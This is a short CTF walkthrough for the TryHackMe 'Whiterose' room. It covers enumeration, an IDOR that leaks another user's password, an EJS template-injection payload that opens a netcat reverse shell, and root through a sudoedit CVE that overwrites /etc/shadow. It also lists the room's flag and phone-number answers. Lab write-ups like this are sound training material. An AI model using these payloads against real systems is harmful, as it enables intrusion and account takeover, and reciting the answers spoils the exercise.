Skip to content

Latest commit

 

History

History
28 lines (26 loc) · 1.96 KB

Whiterose.md

File metadata and controls

28 lines (26 loc) · 1.96 KB
Raw

Q: What's Tyrell Wellick's phone number?
A: 842-029-5701

  1. nmap scan shows, port 22 and 80 are open
  2. navigate to port 80 via browser, shows domain cyprusbank.thm (add to /etc/hosts)
  3. cyprusbank.thm didnt show much, so with gobuster vhost found subdomain admin.cyprusbank.thm (add to /etc/hosts)
  4. creds that was given Olivia Cortez:olivi8 worked there.
  5. navigate to "messages" and at url can be seen http://admin.cyprusbank.thm/messages/?c=5 , tryed to lower the parameter 'c' and at 0 it showed Gayle Bev:p~]P@5!6;rs558:q
  6. logged in as Gayle Bev and phones numbers can be seen.

Q: User flag?
A: THM{4lways_upd4te_uR_d3p3nd3nc!3s}

  1. after entering as Gayle Bev, the 'settings' tab on the site can be accessable.
  2. via burp-suite repeater I've played abit with the request, and it doesnt actually changes the user's password, so i tryed to delete the parameter of 'password' and it reveals some embeded js files (EJS).
  3. Via google, found SSTI for EJS, and the payload looked like this: (had to use BusyBox since my nc and target's nc didnt match verions and without it, i couldnt execute commands) name=1&settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('busybox nc 1234 -e /bin/sh');
  4. logged in as user 'web' and it had the flag in hes home dir.

Q: root flag?
A: THM{4nd_uR_p4ck4g3s}

  1. upgraded shell via python3 and stty raw...
  2. sudo -l , revealed the user can execute without pass this:

sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

  1. searched exploit for sudoedit 1.9.12p1, found this usefull:

https://www.vicarius.io/vsociety/posts/cve-2023-22809-sudoedit-bypass-analysis

  1. export EDITOR="nano -- /etc/shadow"
  2. (on my kali) openssl passwd -6
  3. run "sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm"
  4. replaced root's password and did 'su root' (with my new pass)